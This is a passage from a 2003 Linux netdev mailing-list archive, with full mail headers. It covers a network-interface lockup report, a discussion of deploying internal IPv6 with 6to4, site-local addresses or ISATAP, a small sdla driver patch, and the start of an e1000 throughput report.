Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309100752.19594.fedor@karpelevitch.net> X-archive-position: 5739 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fedor@karpelevitch.net Precedence: bulk X-list: netdev Content-Length: 836 Lines: 28 Fedor Karpelevitch wrote: > Fedor Karpelevitch wrote: > > Jeff Garzik wrote: > > > Sven-Haegar Koch wrote: > > > > Kernel 2.4.20-pre2-ac3 is ok (my last kernel, running for > > > > month') > > > > > > Does the attached patch fix it? > > > > > > Jeff > > > > does not help me (assuming I have the same problem). I have a > > total lockup a few seconds after setting up the interface (not > > immidiately). > > > > Fedor. > > actually it seemed to have helped with 2.6.0-test5 where I was > apparently having the same issue. Not with 2.4.23-pre3 however... > > Fedor. I am really sorry for giving all this misleading information but now it works fine for me with 2.4.23-pre3 as well, but I bet it did lock up the first time I tried it. So there may be something wrong with me or it is some other random problem I am seeing... Fedor From fedor@karpelevitch.net Wed Sep 10 08:57:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 08:58:01 -0700 (PDT) Received: from halon.barra.com (halon.barra.com [144.203.11.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AFvox4009223 for ; Wed, 10 Sep 2003 08:57:51 -0700 Received: from royer.barra.com (royer [144.203.13.201]) by halon.barra.com (8.11.6p2/8.11.6/(v2.0 barra.com )) with ESMTP id h8AFsKw12076; Wed, 10 Sep 2003 08:54:20 -0700 (PDT) Received: from bologoe.karpelevitch.net (mail@dhcpcli8.barra.com [144.203.15.157]) by royer.barra.com (8.11.1/8.11.1/royer.mc) with ESMTP id h8AFvSm01553; Wed, 10 Sep 2003 08:57:29 -0700 (PDT) Received: from fedor by bologoe.karpelevitch.net with local (Exim 3.36 #1 (Debian)) id 19x7Nx-0000Qn-00; Wed, 10 Sep 2003 09:00:01 -0700 From: Fedor Karpelevitch To: Jeff Garzik , Sven-Haegar Koch Subject: Re: [PATCH] Re: ifconfig up/down problem Date: Wed, 10 Sep 2003 09:00:01 -0700 User-Agent: KMail/1.5.3 Cc: netdev@oss.sgi.com, "David S. Miller" , Andrew Morton , LKML References: <200309092308.48099.fedor@karpelevitch.net> <200309100752.19594.fedor@karpelevitch.net> In-Reply-To: <200309100752.19594.fedor@karpelevitch.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309100900.01865.fedor@karpelevitch.net> X-archive-position: 5740 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fedor@karpelevitch.net Precedence: bulk X-list: netdev Content-Length: 1539 Lines: 43 Fedor Karpelevitch wrote: > Fedor Karpelevitch wrote: > > Fedor Karpelevitch wrote: > > > Jeff Garzik wrote: > > > > Sven-Haegar Koch wrote: > > > > > Kernel 2.4.20-pre2-ac3 is ok (my last kernel, running for > > > > > month') > > > > > > > > Does the attached patch fix it? > > > > > > > > Jeff > > > > > > does not help me (assuming I have the same problem). I have a > > > total lockup a few seconds after setting up the interface (not > > > immidiately). > > > > > > Fedor. > > > > actually it seemed to have helped with 2.6.0-test5 where I was > > apparently having the same issue. Not with 2.4.23-pre3 however... > > > > Fedor. > > I am really sorry for giving all this misleading information but > now it works fine for me with 2.4.23-pre3 as well, but I bet it did > lock up the first time I tried it. So there may be something wrong > with me or it is some other random problem I am seeing... > > Fedor shit, it DOES happen. somehow, when network cable is unplugged it seems to never happen, when I am plugged in at home I believe I could have gotten that lockup once or twice, but when I am plugged in to the network at my office it seems to happen 100% of the time. I use DHCP in either case. I wonder if it could be related to the noise traffic on the network or what. I get it with both 2.4.23-pre3 and 2.6.0-test5 with your patch. It does not seem to occur at any particular time - just some time (seconds to minute or two) after the boot up. Could you suggest any way to at least trace this problem down? Fedor. From dwmw2@infradead.org Wed Sep 10 11:38:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 11:38:12 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AIc2x4017199 for ; Wed, 10 Sep 2003 11:38:03 -0700 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19x9qr-00054G-O2 for netdev@oss.sgi.com; Wed, 10 Sep 2003 19:38:01 +0100 Subject: IPv6 6to4 on site-local networks. From: David Woodhouse To: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1063219081.7869.205.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Wed, 10 Sep 2003 19:38:01 +0100 Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 5741 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 1578 Lines: 41 I'm looking at the possible ways of setting up a IPv6 site-internal network, given the prior existence of IPv4 tunnels on RFC1918 addresses between various physical sites. The idea which looks sanest to me is to use the 6to4 automatic tunnelling trick. Instead of 2002::/16, however, we use fec0::/16. Since our internal IPv4 addresses are in the 172.16/12 range, we end up with fec0:ac10::/28 for the internal site-scope addresses. This requires a hack to sit.c -- just a single s/0x2002/0xfec0/ in fact. I'd like to make that configurable somehow. Any ideas on how best to do it? With this in place, individual routers can still run radvd and route to native IPv6 on their own fec0:ac1x:xxyy::/48 subnets -- just as we do in the real world with 6to4 on 2002:xxxx:yyyy::/48. -- A separate and only vaguely-related question: how separate are site-scope and global-scope addresses and routes? Following the above configuration, we have site-scope addresses in the fec0:ac10::/28 range, and a route to that network via the tunnel. This goes over the RFC1918 IPv4 internal addresses, across CIPE tunnels etc. between offices. For IPv6 connectivity to the _outside_ world, can it really be done as a completely orthogonal issue? A machine in each location can have a 'real' IPv6 link, and run radvd accordingly, advertising the _global_ addresses obtained by either a tunnel or 'real' 6to4. In the presence of two hosts broadcasting router advertisements, one with site-scope addresses and the other with global-scope addresses, will Linux do what I'd want? -- dwmw2 From pekkas@netcore.fi Wed Sep 10 11:52:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 11:52:38 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AIqWx4017852 for ; Wed, 10 Sep 2003 11:52:33 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8AIqJv03501; Wed, 10 Sep 2003 21:52:19 +0300 Date: Wed, 10 Sep 2003 21:52:19 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063219081.7869.205.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5742 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 1876 Lines: 42 On Wed, 10 Sep 2003, David Woodhouse wrote: > I'm looking at the possible ways of setting up a IPv6 site-internal > network, given the prior existence of IPv4 tunnels on RFC1918 addresses > between various physical sites. > > The idea which looks sanest to me is to use the 6to4 automatic > tunnelling trick. Instead of 2002::/16, however, we use fec0::/16. Since > our internal IPv4 addresses are in the 172.16/12 range, we end up with > fec0:ac10::/28 for the internal site-scope addresses. > > This requires a hack to sit.c -- just a single s/0x2002/0xfec0/ in fact. > I'd like to make that configurable somehow. Any ideas on how best to do > it? > > With this in place, individual routers can still run radvd and route to > native IPv6 on their own fec0:ac1x:xxyy::/48 subnets -- just as we do in > the real world with 6to4 on 2002:xxxx:yyyy::/48. Please don't do this, this is an ambomination. Moreover, some time ago the IETF decided to Deprecate Site-local addresses completely, because of their problems. I'm not 100% clear of your scenario, but I'd suggest two possibilities for you: - build the IPv6 infrastructure without automatic tunneling, or - if you want to do what you describe anyway, look at ISATAP (the code exists in USAGI), or the spec at www.isatap.org. It should be able to accomplish what you seem to be aiming at. ISATAP uses a prefix you decide, e.g. global ones derived from 6to4, site-locals if you really insist, or whatever -- it just embeds the IPv4 tunnel endpoint addresses in the last 32 bits. Note that ISATAP has not been sanctioned at the moment. There are some significant issues open in it, mostly relating to its security. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Wed Sep 10 13:49:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 13:49:23 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AKn9x4021618 for ; Wed, 10 Sep 2003 13:49:10 -0700 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19xBth-0005Ge-H2; Wed, 10 Sep 2003 21:49:05 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063226945.7869.325.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Wed, 10 Sep 2003 21:49:05 +0100 Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 5743 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 4437 Lines: 98 On Wed, 2003-09-10 at 21:52 +0300, Pekka Savola wrote: > Please don't do this, this is an ambomination. Moreover, some time ago > the IETF decided to Deprecate Site-local addresses completely, because of > their problems. Hmmm; bugger. I thought the site-local address concept was great. It was going to allow us to keep external connectivity issues completely separate from internal ones. So is there still a range of IPv6 addresses analogous to the RFC1918 IPv4 ranges, which are purely internal-only? Or is everyone expected to just use 'real' IPv6 addresses, and firewall appropriately? I'll lay our our situation in a bit more detail... I don't think it's too uncommon. We have a corporate IPv4 network. Multiple locations each have 'real' IPv4 connections to local ISPs; we have a network of CIPE tunnels between physical locations, over which we run the 172.16/12 IPv4 network. Internal boxen communicating to the outside world go via local NAT, of course. We want to deploy IPv6 internally. We have no overriding corporate reason for doing this; for getting the IT people to spend their time on it and overhaul all the CIPE boxes to be IPv6-capable, etc. It'll just be useful for testing purposes, and because -- let's face it -- we're geeks and we want IPv6 :) Our criteria are these: - To connect between two internal hosts by IPv6 should not be noticeably less reliable, or slower, than the existing IPv4. - The setup should be as simple as possible, and to as large an extent as possible should not require infrastructure changes. - Connectivity to the _outside_ should go as directly as possible; not all via a single tunnel endpoint in headquarters. - Security must be obvious. The IT people don't have time to spend on it; that includes auditing. Using site-local addresses and then doing NAT to the outside world, or using public addresses arranged individually for each location and then connection-tracking to allow only outgoing connections as _if_ it were behind NAT, is obviously correct. Anything else is significantly less obvious. Using 6to4 for internal site-scope addresses would have given us direct connection between individual machines -- no points of failure which aren't already a point of failure for IPv4; unlike a scenario where we have a single tunnel-concentrator somewhere. This gives us the speed and reliability required in our first criterion, and also a trivial configuration. No big lists of tunnel endpoints, etc. Then global addresses could just have been arranged with an appropriate connection in each location and a connection-tracking firewall. It was all nice and simple... Now I'm going back to the drawing-board. If the distinction between site-scope and global-scope is gone, then I suppose one possibility is to muck around with destination-based source address selection to achieve the same effect. Something like giving each internal machine two global IPv6 addresses -- one in the 2002:ac10::/28 range, and one 'real' globally-routable address. Then we configure them such that for communicating with other hosts in 2002:ac10::/28 they use that address, and for communicating with 'real' hosts, they use the 'real' address. How feasible is that? We may end up with the internal hosts sticking packets for 'real' 2002::/16 6to4 addresses inside IPv4 packets and sending them somewhere, but since we control '$somewhere' and it's not hard-coded to 192.88.99.1 we can deal with that -- as long as they're correctly using their 'real' IPv6 addresses as the source. My main objection to this, although I think it can work and be secure, is that it requires _thought_ to show it's secure. It really needs to be obvious. A second possibility, perhaps, would be to just get 'real' IPv6 networks in all the locations, and route that publicly with connection-tracking firewalls on the public-facing machines. Then to effectively punch holes in those firewalls for 'internal' communication, by using explicitly-configured tunnels to bypass the firewalls. That one seems nicer, but has the severe disadvantage that we can't just start doing it internally over the existing IPv4 network -- we have to actually make changes to the network infrastructure, which means getting real time (and downtime) allocated for it up front. Which is unlikely for what's effectively a Skunkworks project. Better suggestions are welcomed. -- dwmw2 From romieu@fr.zoreil.com Wed Sep 10 14:08:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 14:08:35 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AL8Ux4022718 for ; Wed, 10 Sep 2003 14:08:31 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8AL0mxA019839; Wed, 10 Sep 2003 23:00:48 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8AL0mSx019838; Wed, 10 Sep 2003 23:00:48 +0200 Date: Wed, 10 Sep 2003 23:00:48 +0200 From: Francois Romieu To: Stephen Hemminger Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) sdla - move out of Space.c Message-ID: <20030910230048.A17453@electric-eye.fr.zoreil.com> References: <20030908141439.2e41b516.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030908141439.2e41b516.shemminger@osdl.org>; from shemminger@osdl.org on Mon, Sep 08, 2003 at 02:14:39PM -0700 X-archive-position: 5744 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 588 Lines: 23 Apply on top of 2.6.0-test5-bk1 + Stephen sdla patches. Compiles fine. free_netdev() patrol. drivers/net/wan/sdla.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/wan/sdla.c~sh-sdla-free_netdev drivers/net/wan/sdla.c --- linux-2.6.0-test5-bk1/drivers/net/wan/sdla.c~sh-sdla-free_netdev Wed Sep 10 22:41:19 2003 +++ linux-2.6.0-test5-bk1-fr/drivers/net/wan/sdla.c Wed Sep 10 22:42:35 2003 @@ -1669,7 +1669,7 @@ static int __init init_sdla(void) err = register_netdev(sdla); if (err) - kfree(sdla); + free_netdev(sdla); return err; } _ From pekkas@netcore.fi Wed Sep 10 14:43:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 14:43:08 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8ALgxx4023903 for ; Wed, 10 Sep 2003 14:43:00 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8ALgo605312; Thu, 11 Sep 2003 00:42:50 +0300 Date: Thu, 11 Sep 2003 00:42:50 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063226945.7869.325.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5745 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 9842 Lines: 205 On Wed, 10 Sep 2003, David Woodhouse wrote: > On Wed, 2003-09-10 at 21:52 +0300, Pekka Savola wrote: > > Please don't do this, this is an ambomination. Moreover, some time ago > > the IETF decided to Deprecate Site-local addresses completely, because of > > their problems. > > Hmmm; bugger. > > I thought the site-local address concept was great. It was going to > allow us to keep external connectivity issues completely separate from > internal ones. Yep, but it has some fatal flaws (ambiguity, leading to a lots of difficult issues), and in the end, it's just not any more secure method than filtering. > So is there still a range of IPv6 addresses analogous to the RFC1918 > IPv4 ranges, which are purely internal-only? Or is everyone expected to > just use 'real' IPv6 addresses, and firewall appropriately? There are no RFC1918 analogous addresses at the moment. Current status is that there is work in progress to figure out the requirements for local communications, and one potential outcome of that might be a globally unique or near-unique addressing, meant for local use only. But in the meantime (and still), I think it's better to go with globals if at all possible. That's what IPv6 was for, anyway.. :-) > I'll lay our our situation in a bit more detail... I don't think it's > too uncommon. > > We have a corporate IPv4 network. Multiple locations each have 'real' > IPv4 connections to local ISPs; we have a network of CIPE tunnels > between physical locations, over which we run the 172.16/12 IPv4 > network. Internal boxen communicating to the outside world go via local > NAT, of course. How many multiple locations are out there? Which methods you use locally, are Ethernet switches and VLAN's being used (if so, does a location have multiple VLAN's, e.g. for engineering, marketing etc.)? > We want to deploy IPv6 internally. We have no overriding corporate > reason for doing this; for getting the IT people to spend their time on > it and overhaul all the CIPE boxes to be IPv6-capable, etc. It'll just > be useful for testing purposes, and because -- let's face it -- we're > geeks and we want IPv6 :) Right. > Our criteria are these: > - To connect between two internal hosts by IPv6 should not be > noticeably less reliable, or slower, than the existing IPv4. > > - The setup should be as simple as possible, and to as large an extent > as possible should not require infrastructure changes. > > - Connectivity to the _outside_ should go as directly as possible; > not all via a single tunnel endpoint in headquarters. > > - Security must be obvious. The IT people don't have time to spend on > it; that includes auditing. Using site-local addresses and then doing > NAT to the outside world, or using public addresses arranged > individually for each location and then connection-tracking to allow > only outgoing connections as _if_ it were behind NAT, is obviously > correct. Anything else is significantly less obvious. > > Using 6to4 for internal site-scope addresses would have given us direct > connection between individual machines -- no points of failure which > aren't already a point of failure for IPv4; unlike a scenario where we > have a single tunnel-concentrator somewhere. This gives us the speed and > reliability required in our first criterion, and also a trivial > configuration. No big lists of tunnel endpoints, etc. > > Then global addresses could just have been arranged with an appropriate > connection in each location and a connection-tracking firewall. > > It was all nice and simple... > > Now I'm going back to the drawing-board. If the distinction between > site-scope and global-scope is gone, then I suppose one possibility is > to muck around with destination-based source address selection to > achieve the same effect. Something like giving each internal machine two > global IPv6 addresses -- one in the 2002:ac10::/28 range, and one 'real' > globally-routable address. Note that 6to4 specification explicitly disallows the use of 6to4 on private addresses. No such checks have been added to Linux kernel (should be..), but you're likely to face more or less trouble if you do so. > Then we configure them such that for communicating with other hosts in > 2002:ac10::/28 they use that address, and for communicating with 'real' > hosts, they use the 'real' address. How feasible is that? IPv6 default address selection, implemented and merged in 2.4 kernels, should already do that. In principle, there is the policy table and and longest prefix match, which should be able to achieve something like this without a problem. One problem may be the destination address selection of getaddrinfo(). Glibc might not implement default address selection (RFC3484) yet. > We may end up with the internal hosts sticking packets for 'real' > 2002::/16 6to4 addresses inside IPv4 packets and sending them somewhere, > but since we control '$somewhere' and it's not hard-coded to > 192.88.99.1 we can deal with that -- as long as they're correctly using > their 'real' IPv6 addresses as the source. > > My main objection to this, although I think it can work and be secure, > is that it requires _thought_ to show it's secure. It really needs to be > obvious. > > A second possibility, perhaps, would be to just get 'real' IPv6 networks > in all the locations, and route that publicly with connection-tracking > firewalls on the public-facing machines. Then to effectively punch holes > in those firewalls for 'internal' communication, by using > explicitly-configured tunnels to bypass the firewalls. Right. > That one seems nicer, but has the severe disadvantage that we can't just > start doing it internally over the existing IPv4 network -- we have to > actually make changes to the network infrastructure, which means getting > real time (and downtime) allocated for it up front. Which is unlikely > for what's effectively a Skunkworks project. Note that one could do a 6to4 router per site, per global address; obtaining such connectivity might be easier than "real", but one would still not run it over CIPE tunnels. > Better suggestions are welcomed. First of all, if the number of participating sites would be relatively low, one could set up one "tunnel router" in each location, which would have: a) optionally global IPv6 connectivity, if desired, and b) manually configured tunnels to the other tunnel routers, over CIPE private address infrastructure It would not need to be a full mesh, only to such a degree that the traffic would be rather optimal, and it would not create more failure modes (e.g. do that on the same boxes as CIPE tunneling). After that, what you'd be left with is how to deal with IPv6 connectivity internally in each of these sites. Depending on what kind of routers you use this could be trivial (e.g. if linux, just turn on IPv6, radvd and such) or not. You might do this with global IPv6 addresses, obtained from an ISP, a 6bone party, or derived from 6to4 addresses of one or more of your public IP's (for example, every site could have one global address). The security properties are straightforward. In all of your border routers/firewalls, block ip-protocol-41 (used for IPv6-in-IPv4 tunneling). As you don't have native IPv6 connectivity to your ISPs, those are the only ways someone might gain IPv6 access to your enterprise Internal network. But you want to refine that; it could be done by IPv6 firewalling at the routers which you specifically allow through from your border "ip-protocol-41 denied" -check. By ensuring you've proper controls in place in those networks, there is no leakage. One another option is to deploy ISATAP, which I mentioned earlier (note: requires patches to the kernel and iputils). This is useful because it's a tunneling method like 6to4, but aimed mainly for host-to-host internal connectivity, also working over private addresses. By deployingISATAP within your enterprise, you would not need "tunnel routers" described above, except for global IPv6 Internet connectivity (when desired), or native IPv6 deployment (or something) within the geographical sites. FWIW, Microsoft's internal network is using ISATAP heavily to enable IPv6 access. To summarize, I think there are several tradeoffs to consider, including: - the difficulty of deploying IPv6 within a geographical site, given that such a site would somehow get IPv6 connectivity, - the number of geographical sites which need to be connected in a meshed fashion (number is probably the same or a bit less than the number of your CIPE tunnels, - the time how quickly you want to get started, and how easy it should be for anyone at all to start using IPv6 (ISATAP could be the quickest fix) - the duration how long-lived solution you're desiring (ISATAP is short-term fix only, tunnel routers and native IPv6 inside sites is closer to what mid-long term goals, and - how much global IPv6 connectivity you desire (IPv6 firewalling requirements..), and how optimized it should be. As for how we're doing it in a 150+ person, single site enterprise consisting of multiple networks -- we employ "tunnel router" method and to some degreee Ethernet VLAN's to inject IPv6 to the physical segments. We use only global IPv6 addresses, and the reachability is obtained from the national research network we run (native IPv6). We use some IPv6 firewalling; not much on typical users' networks (those computers don't have many services listening for IPv6!), and stricter filters on administrators' network. HTH -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From dwmw2@infradead.org Wed Sep 10 15:44:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 15:44:10 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AMi0x4025810 for ; Wed, 10 Sep 2003 15:44:02 -0700 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19xDgt-0005R3-Ao; Wed, 10 Sep 2003 23:43:59 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063233839.7869.385.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Wed, 10 Sep 2003 23:43:59 +0100 Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 5746 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 5209 Lines: 114 On Thu, 2003-09-11 at 00:42 +0300, Pekka Savola wrote: > Yep, but it has some fatal flaws (ambiguity, leading to a lots of > difficult issues), and in the end, it's just not any more secure method > than filtering. S'true -- it wasn't any more secure. But it was more obviously secure :) It's just multihoming with non-publicly-routable addresses used for the unfirewalled internal communication, and real public addresses used for external communication. But unlike 'just' multihoming, the fact that the dichotomy between site-scope and global-scope was fundamental to IPv6 make it nice and easy to separate 'site' and 'global' and consider them separately. Of course, you can do much the same thing manually, but showing that it's secure is, to use Piagetian terms, much more of a formal operation than a concrete one. :) > But in the meantime (and still), I think it's better to go with globals if > at all possible. That's what IPv6 was for, anyway.. :-) Ok... that may well be the way ahead. > How many multiple locations are out there? Which methods you use locally, > are Ethernet switches and VLAN's being used (if so, does a location have > multiple VLAN's, e.g. for engineering, marketing etc.)? I'd guess at 20-30 offices worldwide, many more individual remote employees on point-to-point CIPE links. Using global IPv6 addresses obtained locally at each site, we'd end up having to keep a big list of IPv6 subnets which are 'ours', and the corresponding internal IPv4 address to which they should be routed -- over the CIPE to ensure encryption and also to bypass the firewalls which will prevent ingress to each site from other external machines. I was trying to avoid that, since we have sufficient sites that it would be a pain. > Note that 6to4 specification explicitly disallows the use of 6to4 on > private addresses. No such checks have been added to Linux kernel (should > be..), but you're likely to face more or less trouble if you do so. You mean 2002:ac10::/28 et al.? As long as they remain private (to the same networks where we actually have 172.16/12 IPv4, there shouldn't be any _practical_ problem. After all, it's just a configuration-shorthand for the 2^20 explicit IPv6-in-IPv4 tunnels which would do the same thing, surely? We just have to make sure we don't leak those addresses to the outside world -- but that's why the boxes with 'real' IPv6 are multihomed and that's why we care about appropriate source address selection for them. And hence why we care that site-scope went away, which would have made it a no-brainer. > > Then we configure them such that for communicating with other hosts in > > 2002:ac10::/28 they use that address, and for communicating with 'real' > > hosts, they use the 'real' address. How feasible is that? > > IPv6 default address selection, implemented and merged in 2.4 kernels, > should already do that. In principle, there is the policy table and and > longest prefix match, which should be able to achieve something like this > without a problem. > > One problem may be the destination address selection of getaddrinfo(). > Glibc might not implement default address selection (RFC3484) yet. Hmmm. That sounds reasonable. But I'd be accepting the complexity of multihoming, for the benefit of avoiding the explicit per-site tunnel configuration. To be honest, I think I'd rather take the exponential per-site configuration, and use unique global IPv6 addresses. At least that's only monkey-work, and the failure modes are simpler and more obvious. I wonder if Mobile-IPv6 can give us something more conceptually simple. The reason we don't just assign a 'real' IPv6 subnet to headquarters, and run it all over a network of tunnels internally, is because latency to a site just down the road would suck, since the IPv6 packets would cross the Atlantic twice -- across the tunnel in the CIPE link to HQ and then back out again. If we were to start that way, but then add real IPv6 connectivity to individual sites, then use the direct IPv6 addresses as 'care-of' addresses for Mobile-IP, I wonder if we could keep the nice simple "We own this network and it's not firewalled for internal use and it's tunnelled over CIPE" concept, while keeping fairly sane routing for connections to the outside world? I think I need to actually read the Mobile-IP documentation in the morning, and see whether the above makes any sense at all. > Note that one could do a 6to4 router per site, per global address; > obtaining such connectivity might be easier than "real", but one would > still not run it over CIPE tunnels. True. But even if we could solve the _actual_ security problem that entails, by enforcing use of IPSEC on such links, it wouldn't fly... CIPE good and trusted; Internet bad. > > Better suggestions are welcomed. Hmmm. Much useful information there; thanks. I don't think I can do it justice tonight so I'll take a closer look in the morning. Certainly there are plans beginning to come together, using global IPv6 addresses and an explicit mesh of tunnels. And falling back to 2002:ac10::/28 or ISATAP where global IPv6 addresses aren't (yet) obtainable at individual sites. -- dwmw2 From rwhron@earthlink.net Wed Sep 10 16:32:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 16:32:55 -0700 (PDT) Received: from albatross.mail.pas.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8ANWmx4027598 for ; Wed, 10 Sep 2003 16:32:48 -0700 Received: from user-38ld1j0.dialup.mindspring.com ([209.86.134.96] helo=earthlink.net) by albatross.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 19xES4-0006yt-00; Wed, 10 Sep 2003 16:32:44 -0700 Date: Wed, 10 Sep 2003 19:35:12 -0400 To: netdev@oss.sgi.com Cc: scott.feldman@intel.com Subject: 82540EM very slow on 2.6.0-test[45] Message-ID: <20030910233512.GB18056@rushmore> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i From: rwhron@earthlink.net X-archive-position: 5748 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rwhron@earthlink.net Precedence: bulk X-list: netdev Content-Length: 19448 Lines: 412 ftp'ing a multi-megabyte file gives about 16-20k/second throughput. I first noticed this on 2.6.0-test4, but the slowness may have existed longer. The destination machine was running Solaris 8. This is a dual boot Dell P4. XP is about 1000x faster for an ftp xfer, so the network seems okay. I tried the 11 patches in http://marc.theaimsgroup.com/?l=linux-netdev&m=106307597016664&w=2 but that didn't make a noticeable difference in ftp xfer throughput. The e1000 driver is non-module with default settings. ifconfig doesn't show any dropped packets. eth0 Link encap:Ethernet HWaddr 00:08:74:EA:C8:9E inet addr:146.126.194.254 Bcast:146.126.194.255 Mask:255.255.255.128 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:14198 errors:0 dropped:0 overruns:0 frame:0 TX packets:6195 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:3531096 (3.3 Mb) TX bytes:8602840 (8.2 Mb) Interrupt:10 Base address:0xecc0 Memory:ff8e0000-ff900000 netstat during the ftp xfer shows a large send-Q: Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 